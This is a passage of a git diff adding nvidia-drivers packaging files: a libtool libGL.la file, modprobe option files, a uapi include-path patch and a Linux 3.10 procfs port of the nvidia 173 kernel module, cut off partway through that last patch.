+	built_with_use --missing true sys-libs/glibc nptl && return 0
+
+	# 2.3.5 turned off tls for linuxthreads glibc on i486 and i586
+	if use x86 && has_version '>=sys-libs/glibc-2.3.5' ; then
+		case ${CHOST/-*} in
+			i486|i586) return 1 ;;
+		esac
+	fi
+
+	# These versions built linuxthreads version to support tls, too
+	has_version '>=sys-libs/glibc-2.3.4.20040619-r2' && return 0
+
+	return 1
+}
diff --git a/x11-drivers/nvidia-drivers/files/libGL.la-r2 b/x11-drivers/nvidia-drivers/files/libGL.la-r2
new file mode 100644
index 00000000..863d1844
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/libGL.la-r2
@@ -0,0 +1,32 @@
+# libGL.la - a libtool library file
+# Generated by ltmain.sh - GNU libtool 1.4 (1.920 2001/04/24 23:26:18)
+#
+# Please DO NOT delete this file!
+# It is necessary for linking the library.
+
+# The name that we can dlopen(3).
+dlname='libGL.so.1'
+
+# Names of this library.
+library_names='libGL.so.${PV} libGL.so.1 libGL.so'
+
+# The name of the static archive.
+old_library=''
+
+# Libraries that this one depends upon.
+dependency_libs='-L/usr/${libdir} -lm -lX11 -lXext -ldl'
+
+# Version information for libGL.
+current=${ver1}
+age=${ver2}
+revision=${ver3}
+
+# Is this an already installed library?
+installed=yes
+
+# Files to dlopen/dlpreopen
+dlopen=''
+dlpreopen=''
+
+# Directory that this library needs to be installed in:
+libdir='/usr/${libdir}'
diff --git a/x11-drivers/nvidia-drivers/files/make-use-of-the-new-uapi-framework.patch b/x11-drivers/nvidia-drivers/files/make-use-of-the-new-uapi-framework.patch
new file mode 100644
index 00000000..b408b6ae
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/make-use-of-the-new-uapi-framework.patch
@@ -0,0 +1,46 @@
+From 1e3d34ce7d8c4912c08386589843fcc4ba4d38bf Mon Sep 17 00:00:00 2001
+From: Alberto Milone <alberto.milone@canonical.com>
+Date: Wed, 7 Nov 2012 12:03:46 +0100
+Subject: [PATCH 1/2] Make use of the new uapi framework
+
+---
+ conftest.sh |    7 ++++---
+ 1 file changed, 4 insertions(+), 3 deletions(-)
+
+diff --git a/conftest.sh b/conftest.sh
+index 388e268..8eff4d7 100755
+--- a/conftest.sh
++++ b/conftest.sh
+@@ -20,6 +20,7 @@ ARCH=$3
+ ISYSTEM=`$CC -print-file-name=include 2> /dev/null`
+ SOURCES=$4
+ HEADERS=$SOURCES/include
++HEADERSA=$SOURCES/include/uapi
+ OUTPUT=$5
+ XEN_PRESENT=1
+ 
+@@ -118,7 +119,7 @@ build_cflags() {
+         fi
+     fi
+ 
+-    CFLAGS="$CFLAGS $OUTPUT_CFLAGS -I$HEADERS $AUTOCONF_CFLAGS"
++    CFLAGS="$CFLAGS $OUTPUT_CFLAGS -I$HEADERS -I$HEADERSA $AUTOCONF_CFLAGS"
+ 
+     test_xen
+ 
+@@ -146,10 +147,10 @@ build_cflags() {
+         fi
+     fi
+ 
+-    CFLAGS="$BASE_CFLAGS $MACH_CFLAGS $OUTPUT_CFLAGS -I$HEADERS $AUTOCONF_CFLAGS"
++    CFLAGS="$BASE_CFLAGS $MACH_CFLAGS $OUTPUT_CFLAGS -I$HEADERS -I$HEADERSA $AUTOCONF_CFLAGS"
+ 
+     if [ "$ARCH" = "i386" -o "$ARCH" = "x86_64" ]; then
+-        CFLAGS="$CFLAGS -I$SOURCES/arch/x86/include -I$OUTPUT/arch/x86/include/generated"
++        CFLAGS="$CFLAGS -I$SOURCES/arch/x86/include -I$SOURCES/arch/x86/include/uapi -I$OUTPUT/arch/x86/include/generated -I$OUTPUT/arch/x86/include/generated/uapi"
+     elif [ "$ARCH" = "arm" ]; then
+         CFLAGS="$CFLAGS -I$SOURCES/arch/arm/include -I$OUTPUT/arch/arm/include/generated"
+     fi
+-- 
+1.7.9.5
+
diff --git a/x11-drivers/nvidia-drivers/files/nvidia b/x11-drivers/nvidia-drivers/files/nvidia
new file mode 100644
index 00000000..7cf0f7c0
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/nvidia
@@ -0,0 +1,40 @@
+# Nvidia drivers support
+alias char-major-195 nvidia
+alias /dev/nvidiactl char-major-195
+
+# To tweak the driver the following options can be used, note that
+# you should be careful, as it could cause instability!! For more 
+# options see /usr/share/doc/PACKAGE/README 
+#
+#   To enable Side Band Adressing:  NVreg_EnableAGPSBA=1
+#
+#   To enable Fast Writes: NVreg_EnableAGPFW=1
+#
+# To enable both for instance, uncomment following line:
+#
+#options nvidia NVreg_EnableAGPSBA=1 NVreg_EnableAGPFW=1
+# If you have a mobile chip, you may need to enable this option
+# if you have hard lockups when starting X.
+#
+# See: Appendix I. Configuring your laptop
+# In /usr/share/doc/PACKAGE/README for full details
+#
+# Choose the appropriate value for NVreg_Mobile from the table:
+#        Value		Meaning
+#        ----------	--------------------------------------------------
+#        0xFFFFFFFF	let the kernel module autodetect the correct value
+#        1		Dell laptops
+#        2		non-Compal Toshiba laptops
+#        3		all other laptops
+#        4		Compal Toshiba laptops
+#        5		Gateway laptops
+#
+#options nvidia NVreg_SoftEDIDs=0 NVreg_Mobile=3
+
+
+# !!! SECURITY WARNING !!!
+# DO NOT MODIFY OR REMOVE THE DEVICE FILE RELATED OPTIONS UNLESS YOU KNOW
+# WHAT YOU ARE DOING.
+# ONLY ADD TRUSTED USERS TO THE VIDEO GROUP, THESE USERS MAY BE ABLE TO CRASH,
+# COMPROMISE, OR IRREPARABLY DAMAGE THE MACHINE.
+options nvidia NVreg_DeviceFileMode=432 NVreg_DeviceFileUID=0 NVreg_DeviceFileGID=VIDEOGID NVreg_ModifyDeviceFiles=1
diff --git a/x11-drivers/nvidia-drivers/files/nvidia-169.07 b/x11-drivers/nvidia-drivers/files/nvidia-169.07
new file mode 100644
index 00000000..a96b0cd1
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/nvidia-169.07
@@ -0,0 +1,14 @@
+# Nvidia drivers support
+alias char-major-195 nvidia
+alias /dev/nvidiactl char-major-195
+
+# To tweak the driver the following options can be used, note that
+# you should be careful, as it could cause instability!! For more 
+# options see /usr/share/doc/PACKAGE/README 
+#
+# !!! SECURITY WARNING !!!
+# DO NOT MODIFY OR REMOVE THE DEVICE FILE RELATED OPTIONS UNLESS YOU KNOW
+# WHAT YOU ARE DOING.
+# ONLY ADD TRUSTED USERS TO THE VIDEO GROUP, THESE USERS MAY BE ABLE TO CRASH,
+# COMPROMISE, OR IRREPARABLY DAMAGE THE MACHINE.
+options nvidia NVreg_DeviceFileMode=432 NVreg_DeviceFileUID=0 NVreg_DeviceFileGID=VIDEOGID NVreg_ModifyDeviceFiles=1
diff --git a/x11-drivers/nvidia-drivers/files/nvidia-drivers-173-3.10.patch b/x11-drivers/nvidia-drivers/files/nvidia-drivers-173-3.10.patch
new file mode 100644
index 00000000..9d3016ba
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/nvidia-drivers-173-3.10.patch
@@ -0,0 +1,714 @@
+From c3248bb6c976c112e9efa9e8f202590b2f9b40a5 Mon Sep 17 00:00:00 2001
+From: Alberto Milone <alberto.milone@canonical.com>
+Date: Tue, 18 Jun 2013 15:16:18 +0200
+Subject: [PATCH 1/1] Add support for Linux 3.10
+
+---
+ nv-i2c.c   |   13 +--
+ nv-linux.h |    1 +
+ nv.c       |  375 ++++++++++++++++++++++++++++++++++++++----------------------
+ 3 files changed, 241 insertions(+), 148 deletions(-)
+
+diff --git a/nv-i2c.c b/nv-i2c.c
+index 143f9e4..aaee787 100644
+--- a/usr/src/nv/nv-i2c.c
++++ b/usr/src/nv/nv-i2c.c
+@@ -307,8 +307,6 @@ void* NV_API_CALL nv_i2c_add_adapter(nv_state_t *nv, U032 port)
+ BOOL NV_API_CALL nv_i2c_del_adapter(nv_state_t *nv, void *data)
+ {
+     struct i2c_adapter *pI2cAdapter = (struct i2c_adapter *)data;
+-    int osstatus = 0;
+-    BOOL wasReleased = FALSE;
+ 
+ #if defined(KERNEL_2_4)
+     if (!NV_WEAK_SYMBOL_PRESENT(i2c_add_adapter))
+@@ -320,15 +318,10 @@ BOOL NV_API_CALL nv_i2c_del_adapter(nv_state_t *nv, void *data)
+     if (!pI2cAdapter) return FALSE;
+ 
+     // attempt release with the OS
+-    osstatus = i2c_del_adapter(pI2cAdapter);
+-
+-    if (!osstatus)
+-    {
+-        os_free_mem(pI2cAdapter);
+-        wasReleased = TRUE;
+-    }
++    i2c_del_adapter(pI2cAdapter);
++    os_free_mem(pI2cAdapter);
+ 
+-    return wasReleased;
++    return TRUE;
+ }
+ 
+ #else // (defined(CONFIG_I2C) || defined(CONFIG_I2C_MODULE))
+diff --git a/nv-linux.h b/nv-linux.h
+index 963e059..9aac81a 100644
+--- a/usr/src/nv/nv-linux.h
++++ b/usr/src/nv/nv-linux.h
+@@ -163,6 +163,7 @@
+ 
+ #ifdef CONFIG_PROC_FS
+ #include <linux/proc_fs.h>
++#include <linux/seq_file.h>
+ #endif
+ 
+ #ifdef CONFIG_MTRR
+diff --git a/nv.c b/nv.c
+index f82e46f..570c266 100644
+--- a/usr/src/nv/nv.c
++++ b/usr/src/nv/nv.c
+@@ -291,7 +291,6 @@ void NV_API_CALL nv_verify_pci_config(nv_state_t *nv, BOOL check_the_bars)
+ 
+ /* nvos_ functions.. do not take a state device parameter  */
+ static void     nvos_proc_create(void);
+-static void     nvos_proc_remove_all(struct proc_dir_entry *);
+ static void     nvos_proc_remove(void);
+ static int      nvos_count_devices(nv_stack_t *);
+ 
+@@ -333,12 +332,34 @@ void          nv_kern_rc_timer(unsigned long);
+ static int    nv_kern_apm_event(struct pm_dev *, pm_request_t, void *);
+ #endif
+ 
+-static int    nv_kern_read_cardinfo(char *, char **, off_t off, int, int *, void *);
+-static int    nv_kern_read_status(char *, char **, off_t off, int, int *, void *);
+-static int    nv_kern_read_registry(char *, char **, off_t off, int, int *, void *);       
+-static int    nv_kern_read_agpinfo(char *, char **, off_t off, int, int *, void *);
+-static int    nv_kern_read_version(char *, char **, off_t off, int, int *, void *);
+-static int    nv_kern_read_text_file(char *, char **, off_t off, int, int *, void *);
++static const struct file_operations nv_procfs_text_fops;
++static const struct file_operations nv_procfs_read_card_info_fops;
++static const struct file_operations nv_procfs_version_fops;
++static const struct file_operations nv_procfs_read_agp_info_fops;
++static const struct file_operations nv_procfs_read_agp_info_gpu_fops;
++static const struct file_operations nv_procfs_read_agp_status_fops;
++static const struct file_operations nv_procfs_registry_fops;
++
++static int nv_procfs_show_text_file(struct seq_file *, void *);
++static int nv_procfs_open_text_file(struct inode *, struct file *);
++static void nvos_proc_add_text_file(struct proc_dir_entry *, const char *, const char *);
++
++static int nv_procfs_show_card_info(struct seq_file *, void *);
++static int nv_procfs_read_card_info(struct inode *, struct file *);
++
++static int nv_procfs_show_version(struct seq_file *, void *);
++static int nv_procfs_open_version(struct inode *, struct file *);
++
++static int nv_procfs_show_agp_info(struct seq_file *, void *);
++static int nv_procfs_read_agp_info(struct inode *, struct file *);
++
++static int nv_procfs_read_agp_info_gpu(struct inode *, struct file *file);
++static int nv_procfs_show_agp_status(struct seq_file *, void *);
++static int nv_procfs_read_agp_status(struct inode *, struct file *);
++
++static int nv_procfs_show_registry(struct seq_file *, void *);
++static int nv_procfs_open_registry(struct inode *, struct file *);
++
+ 
+ int           nv_kern_ctl_open(struct inode *, struct file *);
+ int           nv_kern_ctl_close(struct inode *, struct file *);
+@@ -604,6 +625,12 @@ static struct pci_dev* nv_get_pci_device(nv_state_t *nv)
+     return NULL;
+ }
+ 
++#if LINUX_VERSION_CODE <= KERNEL_VERSION(3,9,255)
++static inline void *PDE_DATA(const struct inode *inode) {
++	return PDE(inode)->data;
++}
++#endif
++
+ static void nvos_proc_create(void)
+ {
+ #ifdef CONFIG_PROC_FS
+@@ -623,19 +650,19 @@ static void nvos_proc_create(void)
+     nv_state_t *nv;
+     nv_linux_state_t *nvl;
+ 
+-    proc_nvidia = create_proc_entry("driver/nvidia", d_flags, NULL);
++    proc_nvidia = proc_mkdir_mode("driver/nvidia", d_flags, NULL);
+     if (!proc_nvidia)
+         goto failed;
+ 
+-    proc_nvidia_cards = create_proc_entry("cards", d_flags, proc_nvidia);
++    proc_nvidia_cards = proc_mkdir_mode("cards", d_flags, proc_nvidia);
+     if (!proc_nvidia_cards)
+         goto failed;
+ 
+-    proc_nvidia_warnings = create_proc_entry("warnings", d_flags, proc_nvidia);
++    proc_nvidia_warnings = proc_mkdir_mode("warnings", d_flags, proc_nvidia);
+     if (!proc_nvidia_warnings)
+         goto failed;
+ 
+-    proc_nvidia_patches = create_proc_entry("patches", d_flags, proc_nvidia);
++    proc_nvidia_patches = proc_mkdir_mode("patches", d_flags, proc_nvidia);
+     if (!proc_nvidia_patches)
+         goto failed;
+ 
+@@ -660,24 +687,19 @@ static void nvos_proc_create(void)
+             break;
+ 
+         sprintf(name, "%d", i++);
+-        entry = create_proc_entry(name, flags, proc_nvidia_cards);
++        entry = proc_create_data(name, flags, proc_nvidia_cards,
++                &nv_procfs_read_card_info_fops, nv);
+         if (!entry) {
+             NV_PCI_DEV_PUT(dev);
+             goto failed;
+         }
+ 
+-        entry->data = nv;
+-        entry->read_proc = nv_kern_read_cardinfo;
+-#if defined(NV_PROC_DIR_ENTRY_HAS_OWNER)
+-        entry->owner = THIS_MODULE;
+-#endif
+-
+         if (nvos_find_agp_capability(dev)) {
+             /*
+              * Create the /proc/driver/nvidia/agp/{status,host-bridge,card}
+              * entries now that we know there's AGP hardware.
+              */
+-            entry = create_proc_entry("agp", d_flags, proc_nvidia);
++            entry = proc_mkdir_mode("agp", d_flags, proc_nvidia);
+             if (!entry) {
+                 NV_PCI_DEV_PUT(dev);
+                 goto failed;
+@@ -688,72 +710,78 @@ static void nvos_proc_create(void)
+ #endif
+             proc_nvidia_agp = entry;
+ 
+-            entry = create_proc_entry("status", flags, proc_nvidia_agp);
++            entry = proc_create_data("status", flags, proc_nvidia_agp,
++                &nv_procfs_read_agp_status_fops, nv);
+             if (!entry) {
+                 NV_PCI_DEV_PUT(dev);
+                 goto failed;
+             }
+ 
+-            entry->data = nv;
+-            entry->read_proc = nv_kern_read_status;
+-#if defined(NV_PROC_DIR_ENTRY_HAS_OWNER)
+-            entry->owner = THIS_MODULE;
+-#endif
++            entry = proc_create("host-bridge", flags, proc_nvidia_agp,
++                &nv_procfs_read_agp_info_fops);
+ 
+-            entry = create_proc_entry("host-bridge", flags, proc_nvidia_agp);
+             if (!entry) {
+                 NV_PCI_DEV_PUT(dev);
+                 goto failed;
+             }
+ 
+-            entry->data = NULL;
+-            entry->read_proc = nv_kern_read_agpinfo;
+-#if defined(NV_PROC_DIR_ENTRY_HAS_OWNER)
+-            entry->owner = THIS_MODULE;
+-#endif
+-
+-            entry = create_proc_entry("card", flags, proc_nvidia_agp);
++            entry = proc_create_data("card", flags, proc_nvidia_agp,
++                &nv_procfs_read_agp_info_gpu_fops, nv);
+             if (!entry) {
+                 NV_PCI_DEV_PUT(dev);
+                 goto failed;
+             }
+ 
+-            entry->data = nv;
+-            entry->read_proc = nv_kern_read_agpinfo;
+-#if defined(NV_PROC_DIR_ENTRY_HAS_OWNER)
+-            entry->owner = THIS_MODULE;
+-#endif
+         }
+ 
+         NV_PCI_DEV_PUT(dev);
+     }
+ 
+-    entry = create_proc_entry("version", flags, proc_nvidia);
++    entry = proc_create("version", flags, proc_nvidia, &nv_procfs_version_fops);
+     if (!entry)
+         goto failed;
+ 
+-    entry->read_proc = nv_kern_read_version;
+-#if defined(NV_PROC_DIR_ENTRY_HAS_OWNER)
+-    entry->owner = THIS_MODULE;
+-#endif
+-
+-    entry = create_proc_entry("registry", flags, proc_nvidia);
++    entry = proc_create("registry", flags, proc_nvidia,
++        &nv_procfs_registry_fops);
+     if (!entry)
+         goto failed;
+ 
+-    entry->read_proc = nv_kern_read_registry;
+-#if defined(NV_PROC_DIR_ENTRY_HAS_OWNER)
+-    entry->owner = THIS_MODULE;
+-#endif
+-
+     return;
+ 
+ failed:
+     nv_printf(NV_DBG_ERRORS, "NVRM: failed to create /proc entries!\n");
+-    nvos_proc_remove_all(proc_nvidia);
++    remove_proc_subtree("nvidia", proc_nvidia);
+ #endif
+ }
+ 
++static int
++nv_procfs_show_text_file(
++    struct seq_file *m,
++    void *v
++)
++{
++    seq_printf(m, "%s", (char *)m->private);
++
++    return 0;
++}
++
++static int
++nv_procfs_open_text_file(
++    struct inode *inode,
++    struct file *file
++)
++{
++    return single_open(file, nv_procfs_show_text_file, PDE_DATA(inode));
++}
++
++static const struct file_operations nv_procfs_text_fops = {
++    .owner   = THIS_MODULE,
++    .open    = nv_procfs_open_text_file,
++    .read    = seq_read,
++    .llseek  = seq_lseek,
++    .release = single_release,
++};
++
+ static void
+ nvos_proc_add_text_file(
+     struct proc_dir_entry *parent,
+@@ -762,41 +790,18 @@ nvos_proc_add_text_file(
+ )
+ {
+ #ifdef CONFIG_PROC_FS
+-    struct proc_dir_entry *entry;
+-
+     /* world readable file */
+     int flags = S_IFREG | S_IRUGO;
+ 
+-    entry = create_proc_entry(filename, flags, parent);
+-    if (!entry) return;
+-
+-    entry->data = (void *)text;
+-    entry->read_proc = nv_kern_read_text_file;
+-#if defined(NV_PROC_DIR_ENTRY_HAS_OWNER)
+-    entry->owner = THIS_MODULE;
+-#endif
++    proc_create_data(filename, flags, parent, &nv_procfs_text_fops,
++        (void *)text);
+ #endif
+ }
+ 
+-#ifdef CONFIG_PROC_FS
+-static void nvos_proc_remove_all(struct proc_dir_entry *entry)
+-{
+-    while (entry) {
+-        struct proc_dir_entry *next = entry->next;
+-        if (entry->subdir)
+-            nvos_proc_remove_all(entry->subdir);
+-        remove_proc_entry(entry->name, entry->parent);
+-        if (entry == proc_nvidia)
+-            break;
+-        entry = next;
+-    }
+-}
+-#endif
+-
+ static void nvos_proc_remove(void)
+ {
+ #ifdef CONFIG_PROC_FS
+-    nvos_proc_remove_all(proc_nvidia);
++    remove_proc_subtree("nvidia", proc_nvidia);
+ #endif
+ }
+ 
+@@ -3065,18 +3070,19 @@ void   NV_API_CALL  nv_set_dma_address_size(
+ }
+ 
+ static int
+-nv_kern_read_cardinfo(char *page, char **start, off_t off,
+-        int count, int *eof, void *data)
++nv_procfs_show_card_info(
++    struct seq_file *m,
++    void *v
++)
+ {
+     struct pci_dev *dev;
+     char *type, *fmt, tmpstr[NV_DEVICE_NAME_LENGTH];
+-    int len = 0, status;
++    int status;
+     U032 vbios_rev1, vbios_rev2, vbios_rev3, vbios_rev4, vbios_rev5;
+     nv_stack_t *sp = NULL;
+ 
+     nv_state_t *nv;
+-    nv = (nv_state_t *) data;
+-    *eof = 1;
++    nv = (nv_state_t *) m->private;
+ 
+     dev = nv_get_pci_device(nv);
+     if (!dev)
+@@ -3094,38 +3100,38 @@ nv_kern_read_cardinfo(char *page, char **start, off_t off,
+         strcpy (tmpstr, "Unknown");
+     }
+     
+-    len += sprintf(page+len, "Model: \t\t %s\n", tmpstr);
+-    len += sprintf(page+len, "IRQ:   \t\t %d\n", nv->interrupt_line);
++    seq_printf(m, "Model: \t\t %s\n", tmpstr);
++    seq_printf(m, "IRQ:   \t\t %d\n", nv->interrupt_line);
+ 
+     status = rm_get_vbios_version(sp, nv, &vbios_rev1, &vbios_rev2,
+                                   &vbios_rev3, &vbios_rev4, &vbios_rev5);
+ 
+     if (status < 0) {
+         /* before rm_init_adapter */
+-        len += sprintf(page+len, "Video BIOS: \t ??.??.??.??.??\n");
++        seq_printf(m, "Video BIOS: \t ??.??.??.??.??\n");
+     } else {
+         fmt = "Video BIOS: \t %02x.%02x.%02x.%02x.%02x\n";
+-        len += sprintf(page+len, fmt, vbios_rev1, vbios_rev2, vbios_rev3,
++        seq_printf(m, fmt, vbios_rev1, vbios_rev2, vbios_rev3,
+                                                   vbios_rev4, vbios_rev5);
+     }
+ 
+     if (nvos_find_agp_capability(dev)) type = "AGP";
+     else if (nvos_find_pci_express_capability(dev)) type = "PCI-E";
+     else type = "PCI";
+-    len += sprintf(page+len, "Card Type: \t %s\n", type);
++    seq_printf(m, "Card Type: \t %s\n", type);
+ 
+     // Report the number of bits set in dev->dma_mask
+-    len += sprintf(page+len, "DMA Size: \t %d bits\n",
++    seq_printf(m, "DMA Size: \t %d bits\n",
+      nv_count_bits(dev->dma_mask));
+-    len += sprintf(page+len, "DMA Mask: \t 0x%llx\n", dev->dma_mask);
+-    len += sprintf(page+len, "Bus Location: \t %02x.%02x.%x\n",
++    seq_printf(m, "DMA Mask: \t 0x%llx\n", dev->dma_mask);
++    seq_printf(m, "Bus Location: \t %02x.%02x.%x\n",
+                    nv->bus, nv->slot, PCI_FUNC(dev->devfn));
+ #ifdef DEBUG
+     do
+     {
+         int j;
+         for (j = 0; j < NV_GPU_NUM_BARS; j++)
+-            len += sprintf(page+len, "BAR%i: \t\t 0x%08x (%iMB)\n",
++            seq_printf(m, "BAR%i: \t\t 0x%08x (%iMB)\n",
+                            j, nv->bars[j].address, nv->bars[j].size >> 20);
+     } while(0);
+ #endif
+@@ -3133,35 +3139,68 @@ nv_kern_read_cardinfo(char *page, char **start, off_t off,
+     NV_KMEM_CACHE_FREE_STACK(sp);
+  
+     NV_PCI_DEV_PUT(dev);
+-    return len;
++    return 0;
++}
++
++static int
++nv_procfs_read_card_info(
++    struct inode *inode,
++    struct file *file
++)
++{
++    return single_open(file, nv_procfs_show_card_info, PDE_DATA(inode));
+ }
+ 
++static const struct file_operations nv_procfs_read_card_info_fops = {
++    .owner   = THIS_MODULE,
++    .open    = nv_procfs_read_card_info,
++    .read    = seq_read,
++    .llseek  = seq_lseek,
++    .release = single_release,
++};
++
+ static int
+-nv_kern_read_version(char *page, char **start, off_t off,
+-        int count, int *eof, void *data)
++nv_procfs_show_version(
++    struct seq_file *m,
++    void *v
++)
+ {
+-    int len = 0;
+-    *eof = 1;
+-    
+-    len += sprintf(page+len, "NVRM version: %s\n", pNVRM_ID);
+-    len += sprintf(page+len, "GCC version:  %s\n", NV_COMPILER);
+-    
+-    return len;
++    seq_printf(m, "NVRM version: %s\n", pNVRM_ID);
++    seq_printf(m, "GCC version:  %s\n", NV_COMPILER);
++
++    return 0;
++}
++
++static int
++nv_procfs_open_version(
++    struct inode *inode,
++    struct file *file
++)
++{
++    return single_open(file, nv_procfs_show_version, NULL);
+ }
+ 
++static const struct file_operations nv_procfs_version_fops = {
++    .owner   = THIS_MODULE,
++    .open    = nv_procfs_open_version,
++    .read    = seq_read,
++    .llseek  = seq_lseek,
++    .release = single_release,
++};
++
+ static int
+-nv_kern_read_agpinfo(char *page, char **start, off_t off,
+-        int count, int *eof, void *data)
++nv_procfs_show_agp_info(
++    struct seq_file *m,
++    void *v
++)
+ {
+     struct pci_dev *dev;
+     char   *fw, *sba;
+     u8     cap_ptr;
+     u32    status, command, agp_rate;
+-    int    len = 0;
+     
+     nv_state_t *nv;
+-    nv = (nv_state_t *) data;
+-    *eof = 1;
++    nv = (nv_state_t *) m->private;
+ 
+     if (nv) {
+         dev = nv_get_pci_device(nv);
+@@ -3172,12 +3211,12 @@ nv_kern_read_agpinfo(char *page, char **start, off_t off,
+         if (!dev)
+             return 0;
+ 
+-        len += sprintf(page+len, "Host Bridge: \t ");
++        seq_printf(m, "Host Bridge: \t ");
+ 
+ #if defined(CONFIG_PCI_NAMES)
+-        len += sprintf(page+len, "%s\n", NV_PCI_DEVICE_NAME(dev));
++        seq_printf(m, "%s\n", NV_PCI_DEVICE_NAME(dev));
+ #else
+-        len += sprintf(page+len, "PCI device %04x:%04x\n",
++        seq_printf(m, "PCI device %04x:%04x\n",
+                 dev->vendor, dev->device);
+ #endif
+     }
+@@ -3191,40 +3230,74 @@ nv_kern_read_agpinfo(char *page, char **start, off_t off,
+     fw  = (status & 0x00000010) ? "Supported" : "Not Supported";
+     sba = (status & 0x00000200) ? "Supported" : "Not Supported";
+ 
+-    len += sprintf(page+len, "Fast Writes: \t %s\n", fw);
+-    len += sprintf(page+len, "SBA: \t\t %s\n", sba);
++    seq_printf(m, "Fast Writes: \t %s\n", fw);
++    seq_printf(m, "SBA: \t\t %s\n", sba);
+ 
+     agp_rate = status & 0x7;
+     if (status & 0x8) // agp 3.0
+         agp_rate <<= 2;
+ 
+-    len += sprintf(page+len, "AGP Rates: \t %s%s%s%s\n",
++    seq_printf(m, "AGP Rates: \t %s%s%s%s\n",
+             (agp_rate & 0x00000008) ? "8x " : "",
+             (agp_rate & 0x00000004) ? "4x " : "",
+             (agp_rate & 0x00000002) ? "2x " : "",
+             (agp_rate & 0x00000001) ? "1x " : "");
+ 
+-    len += sprintf(page+len, "Registers: \t 0x%08x:0x%08x\n", status, command);
++    seq_printf(m, "Registers: \t 0x%08x:0x%08x\n", status, command);
+ 
+     NV_PCI_DEV_PUT(dev);
+-    return len;
++    return 0;
++}
++
++static int
++nv_procfs_read_agp_info(
++    struct inode *inode,
++    struct file *file
++)
++{
++    return single_open(file, nv_procfs_show_agp_info, NULL);
+ }
+ 
++static const struct file_operations nv_procfs_read_agp_info_fops = {
++    .owner   = THIS_MODULE,
++    .open    = nv_procfs_read_agp_info,
++    .read    = seq_read,
++    .llseek  = seq_lseek,
++    .release = single_release,
++};
++
+ static int
+-nv_kern_read_status(char *page, char **start, off_t off,
+-        int count, int *eof, void *data)
++nv_procfs_read_agp_info_gpu(
++    struct inode *inode,
++    struct file *file
++)
++{
++    return single_open(file, nv_procfs_show_agp_info, PDE_DATA(inode));
++}
++
++static const struct file_operations nv_procfs_read_agp_info_gpu_fops = {
++    .owner   = THIS_MODULE,
++    .open    = nv_procfs_read_agp_info_gpu,
++    .read    = seq_read,
++    .llseek  = seq_lseek,
++    .release = single_release,
++};
++
++static int
++nv_procfs_show_agp_status(
++    struct seq_file *m,
++    void *v
++)
+ {
+     struct pci_dev *dev;
+     char   *fw, *sba, *drv;
+-    int    len = 0;
+     u8     cap_ptr;
+     u32    scratch;
+     u32    status, command, agp_rate;
+     nv_stack_t *sp = NULL;
+ 
+     nv_state_t *nv;
+-    nv = (nv_state_t *) data;
+-    *eof = 1;
++    nv = (nv_state_t *) m->private;
+ 
+     dev = nvos_get_agp_device_by_class(PCI_CLASS_BRIDGE_HOST);
+     if (!dev)
+@@ -3246,10 +3319,10 @@ nv_kern_read_status(char *page, char **start, off_t off,
+     command &= scratch;
+ 
+     if (NV_AGP_ENABLED(nv) && (command & 0x100)) {
+-        len += sprintf(page+len, "Status: \t Enabled\n");
++        seq_printf(m, "Status: \t Enabled\n");
+ 
+         drv = NV_OSAGP_ENABLED(nv) ? "AGPGART" : "NVIDIA";
+-        len += sprintf(page+len, "Driver: \t %s\n", drv);
++        seq_printf(m, "Driver: \t %s\n", drv);
+ 
+         // mask off agp rate. 
+         // If this is agp 3.0, we need to shift the value
+@@ -3257,13 +3330,13 @@ nv_kern_read_status(char *page, char **start, off_t off,
+         if (status & 0x8) // agp 3.0
+             agp_rate <<= 2;
+ 
+-        len += sprintf(page+len, "AGP Rate: \t %dx\n", agp_rate);
++        seq_printf(m, "AGP Rate: \t %dx\n", agp_rate);
+ 
+         fw = (command & 0x00000010) ? "Enabled" : "Disabled";
+-        len += sprintf(page+len, "Fast Writes: \t %s\n", fw);
++        seq_printf(m, "Fast Writes: \t %s\n", fw);
+ 
+         sba = (command & 0x00000200) ? "Enabled" : "Disabled";
+-        len += sprintf(page+len, "SBA: \t\t %s\n", sba);
++        seq_printf(m, "SBA: \t\t %s\n", sba);
+     } else {
+         int agp_config = 0;
+ 
+@@ -3274,7 +3347,7 @@ nv_kern_read_status(char *page, char **start, off_t off,
+             return 0;
+         }
+ 
+-        len += sprintf(page+len, "Status: \t Disabled\n\n");
++        seq_printf(m, "Status: \t Disabled\n\n");
+ 
+         /*
+          * If we find AGP is disabled, but the RM registry indicates it
+@@ -3288,7 +3361,7 @@ nv_kern_read_status(char *page, char **start, off_t off,
+         rm_read_registry_dword(sp, nv, "NVreg", "XNvAGP", &agp_config);
+ 
+         if (agp_config != NVOS_AGP_CONFIG_DISABLE_AGP && NV_AGP_FAILED(nv)) {
+-            len += sprintf(page+len,
++            seq_printf(m,
+                   "AGP initialization failed, please check the ouput  \n"
+                   "of the 'dmesg' command and/or your system log file \n"
+                   "for additional information on this problem.        \n");
+@@ -3298,37 +3371,63 @@ nv_kern_read_status(char *page, char **start, off_t off,
+     }
+ 
+     NV_PCI_DEV_PUT(dev);
+-    return len;
++    return 0;
++}
++
++static int
++nv_procfs_read_agp_status(
++    struct inode *inode,
++    struct file *file
++)
++{
++    return single_open(file, nv_procfs_show_agp_status, PDE_DATA(inode));
+ }
+ 
++static const struct file_operations nv_procfs_read_agp_status_fops = {
++    .owner   = THIS_MODULE,
++    .open    = nv_procfs_read_agp_status,
++    .read    = seq_read,
++    .llseek  = seq_lseek,
++    .release = single_release,
++};
++
+ extern nv_parm_t nv_parms[];
+ extern char *NVreg_RegistryDwords;
+ 
+ static int
+-nv_kern_read_registry(char *page, char **start, off_t off,
+-        int count, int *eof, void *data)
++nv_procfs_show_registry(
++    struct seq_file *m,
++    void *v
++)
+ {
+-    unsigned int i, len = 0;
++    unsigned int i;
+     nv_parm_t *entry;
+-    *eof = 1;
+ 
+     for (i = 0; (entry = &nv_parms[i])->name != NULL; i++)
+-        len += sprintf(page+len, "%s: %u\n", entry->name, *entry->data);
++        seq_printf(m, "%s: %u\n", entry->name, *entry->data);
+ 
+-    len += sprintf(page+len, "RegistryDwords: \"%s\"\n",
++    seq_printf(m, "RegistryDwords: \"%s\"\n",
+                 (NVreg_RegistryDwords != NULL) ? NVreg_RegistryDwords : "");
+ 
+-    return len;
++    return 0;
+ }
+ 
+ static int
+-nv_kern_read_text_file(char *page, char **start, off_t off,
+-        int count, int *eof, void *data)
